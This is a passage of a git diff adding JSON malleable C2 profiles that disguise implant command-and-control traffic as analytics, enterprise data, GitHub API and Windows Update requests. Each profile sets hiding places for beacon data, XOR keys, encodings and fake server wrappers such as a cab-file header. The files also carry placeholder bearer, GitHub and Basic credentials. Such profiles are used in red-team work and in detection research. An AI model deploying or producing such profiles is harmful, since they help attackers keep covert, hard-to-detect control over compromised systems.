+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/v1/analytics/metrics/dashboard",
+ "/v1/reports/performance/export",
+ "/api/v2/events/aggregate"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/json, text/plain, */*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ",
+ "Connection": "keep-alive",
+ "Origin": "https://analytics.example.com",
+ "Referer": "https://analytics.example.com/dashboard",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-Client-Version": "2.15.3"
+ },
+ "parameters": {
+ "startDate": "2024-04-01",
+ "endDate": "2024-04-15",
+ "timezone": "UTC",
+ "format": "json"
+ },
+ "message": {
+ "location": "query",
+ "name": "filter"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "analyticsQueryKey2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json; charset=utf-8",
+ "Server": "nginx/1.24.0",
+ "X-Content-Type-Options": "nosniff",
+ "X-Frame-Options": "DENY",
+ "X-XSS-Protection": "1; mode=block",
+ "Cache-Control": "private, no-cache, no-store, must-revalidate",
+ "Pragma": "no-cache",
+ "Expires": "0"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "{\"status\":\"success\",\"data\":"
+ },
+ {
+ "action": "xor",
+ "value": "analyticsResponseKey2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "}"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/v1/analytics/events/track",
+ "/v1/reports/generate",
+ "/api/v2/batch"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/json",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ",
+ "Connection": "keep-alive",
+ "Content-Type": "application/json",
+ "Origin": "https://analytics.example.com",
+ "Referer": "https://analytics.example.com/dashboard",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-Client-Version": "2.15.3"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": ""
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "trackEventSecret2024"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json; charset=utf-8",
+ "Server": "nginx/1.24.0",
+ "X-Content-Type-Options": "nosniff",
+ "X-Frame-Options": "DENY",
+ "X-Request-Id": "req-abc123def456",
+ "Cache-Control": "private, no-cache, no-store, must-revalidate"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "{\"status\":\"success\",\"message\":\"Events processed\",\"data\":"
+ },
+ {
+ "action": "xor",
+ "value": "trackResponseSecret2024"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "}"
+ }
+ ]
+ }
+ }
+}
+
diff --git a/malleable-profile-examples/enterprise-data-management.json b/malleable-profile-examples/enterprise-data-management.json
new file mode 100644
index 00000000..6583fc40
--- /dev/null
+++ b/malleable-profile-examples/enterprise-data-management.json
@@ -0,0 +1,133 @@
+{
+ "name": "Enterprise Data Management",
+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/v3/storage/datasets/list",
+ "/v3/analytics/reports/export",
+ "/v3/inventory/assets/query"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/json, text/xml",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=",
+ "Connection": "keep-alive",
+ "X-API-Version": "3.2",
+ "X-Client-ID": "enterprise-client-v2.4.1",
+ "User-Agent": "EnterpriseDataClient/2.4.1 (Java/17.0.2; Windows Server 2022)"
+ },
+ "parameters": {
+ "limit": "50",
+ "offset": "0",
+ "sort": "desc"
+ },
+ "message": {
+ "location": "header",
+ "name": "X-Request-ID"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "enterpriseDataKey2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json; charset=utf-8",
+ "Server": "Apache/2.4.57",
+ "X-Request-ID": "req-xyz789abc123",
+ "X-Page-Count": "15",
+ "X-Total-Count": "750",
+ "Cache-Control": "private, max-age=300",
+ "Expires": "Wed, 15 Apr 2025 12:05:00 GMT"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "{\"result\":"
+ },
+ {
+ "action": "xor",
+ "value": "enterpriseResponseKey2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "}"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/v3/storage/backup/create",
+ "/v3/logging/events/submit",
+ "/v3/notifications/broadcast"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/json",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=",
+ "Connection": "keep-alive",
+ "Content-Type": "application/json",
+ "X-API-Version": "3.2",
+ "X-Client-ID": "enterprise-client-v2.4.1",
+ "User-Agent": "EnterpriseDataClient/2.4.1 (Java/17.0.2; Windows Server 2022)"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": ""
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "backupCreateSecret2024"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json; charset=utf-8",
+ "Server": "Apache/2.4.57",
+ "X-Request-ID": "req-abc456def789",
+ "Location": "/v3/storage/backup/status/backup-xyz123",
+ "Cache-Control": "no-cache, no-store",
+ "X-Operation-ID": "op-backup-xyz123"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "{\"status\":\"accepted\",\"operationId\":\"backup-xyz123\",\"data\":"
+ },
+ {
+ "action": "xor",
+ "value": "backupResponseSecret2024"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "}"
+ }
+ ]
+ }
+ }
+}
\ No newline at end of file
diff --git a/malleable-profile-examples/github-api.json b/malleable-profile-examples/github-api.json
new file mode 100644
index 00000000..39e4cf19
--- /dev/null
+++ b/malleable-profile-examples/github-api.json
@@ -0,0 +1,135 @@
+{
+ "name": "GitHub API Integration",
+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/api/graphql",
+ "/api/v4/graphql",
+ "/api/v3/repos/octocat/Hello-World/commits"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/vnd.github.v3+json",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1",
+ "Connection": "keep-alive",
+ "User-Agent": "GitHub-Hookshot/461e8be",
+ "X-GitHub-Event": "push",
+ "X-GitHub-Delivery": "f246e7f4-8fd8-11eb-bffc-f2216662c3f0"
+ },
+ "parameters": {
+ "per_page": "30",
+ "page": "1",
+ "sort": "updated"
+ },
+ "message": {
+ "location": "header",
+ "name": "X-GitHub-Request-Id"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "ghubSecret2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json; charset=utf-8",
+ "Server": "GitHub.com",
+ "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5678",
+ "X-RateLimit-Limit": "5000",
+ "X-RateLimit-Remaining": "4999",
+ "X-RateLimit-Reset": "1619999999",
+ "Strict-Transport-Security": "max-age=31536000; includeSubdomains"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "{\"data\":"
+ },
+ {
+ "action": "xor",
+ "value": "ghubResponse2024"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "}"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/api/v3/repos/owner/repo/issues",
+ "/api/v3/repos/owner/repo/pulls",
+ "/api/v3/orgs/owner/teams"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/vnd.github.v3+json",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1",
+ "Connection": "keep-alive",
+ "Content-Type": "application/json",
+ "User-Agent": "GitHub-Hookshot/461e8be",
+ "X-GitHub-Event": "issues",
+ "X-GitHub-Delivery": "f246e7f4-8fd8-11eb-bffc-f2216662c3f0"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": ""
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "ghubPostSecret"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/json; charset=utf-8",
+ "Server": "GitHub.com",
+ "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5678",
+ "X-RateLimit-Limit": "5000",
+ "X-RateLimit-Remaining": "4998",
+ "Location": "https://api.github.com/repos/owner/repo/issues/123",
+ "Strict-Transport-Security": "max-age=31536000; includeSubdomains"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "{\"id\":12345,\"url\":\"https://api.github.com/repos/owner/repo/issues/123\",\"body\":"
+ },
+ {
+ "action": "xor",
+ "value": "ghubServerKey"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "}"
+ }
+ ]
+ }
+ }
+}
+
diff --git a/malleable-profile-examples/windows-update-service.json b/malleable-profile-examples/windows-update-service.json
new file mode 100644
index 00000000..ff07602e
--- /dev/null
+++ b/malleable-profile-examples/windows-update-service.json
@@ -0,0 +1,133 @@
+{
+ "name": "Windows Update Service",
+ "get": {
+ "verb": "GET",
+ "uris": [
+ "/update/v6/download/package/cab",
+ "/update/v6/wsusscan/package.cab",
+ "/update/v6/content/download/package.cab"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "application/vnd.microsoft.update.cab, application/octet-stream, */*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Connection": "Keep-Alive",
+ "Cache-Control": "no-cache",
+ "User-Agent": "Windows-Update-Agent/10.0.19041.3880 Client-Protocol/2.0"
+ },
+ "parameters": {
+ "pid": "100",
+ "pidver": "10.0",
+ "bld": "19041",
+ "arch": "x64"
+ },
+ "message": {
+ "location": "query",
+ "name": "rev"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "windowsUpdateKey2025"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "application/vnd.microsoft.update.cab",
+ "Server": "Microsoft-HTTPAPI/2.0",
+ "X-MicrosoftUpdate-Version": "10.0.19041.3880",
+ "Connection": "keep-alive",
+ "Cache-Control": "public, max-age=86400",
+ "X-Powered-By": "ASP.NET",
+ "Content-Disposition": "attachment; filename=update.cab"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": "MSCF"
+ },
+ {
+ "action": "xor",
+ "value": "windowsUpdateResponse2025"
+ },
+ {
+ "action": "base64url",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "\u0000\u0000"
+ }
+ ]
+ }
+ },
+ "post": {
+ "verb": "POST",
+ "uris": [
+ "/update/v6/wsusscan/report.aspx",
+ "/update/v6/content/submit.aspx",
+ "/update/v6/telemetry/report.aspx"
+ ],
+ "client": {
+ "headers": {
+ "Accept": "text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Connection": "Keep-Alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "User-Agent": "Windows-Update-Agent/10.0.19041.3880 Client-Protocol/2.0"
+ },
+ "parameters": null,
+ "message": {
+ "location": "body",
+ "name": "data"
+ },
+ "transforms": [
+ {
+ "action": "xor",
+ "value": "wsusReportKey2025"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ }
+ ]
+ },
+ "server": {
+ "headers": {
+ "Content-Type": "text/html; charset=utf-8",
+ "Server": "Microsoft-HTTPAPI/2.0",
+ "X-MicrosoftUpdate-Version": "10.0.19041.3880",
+ "X-Powered-By": "ASP.NET",
+ "Connection": "keep-alive",
+ "Cache-Control": "no-cache, no-store, must-revalidate",
+ "Pragma": "no-cache",
+ "Expires": "0"
+ },
+ "transforms": [
+ {
+ "action": "prepend",
+ "value": ""
+ },
+ {
+ "action": "xor",
+ "value": "wsusResponseKey2025"
+ },
+ {
+ "action": "base64",
+ "value": ""
+ },
+ {
+ "action": "append",
+ "value": "
"
+ }
+ ]
+ }
+ }
+}
\ No newline at end of file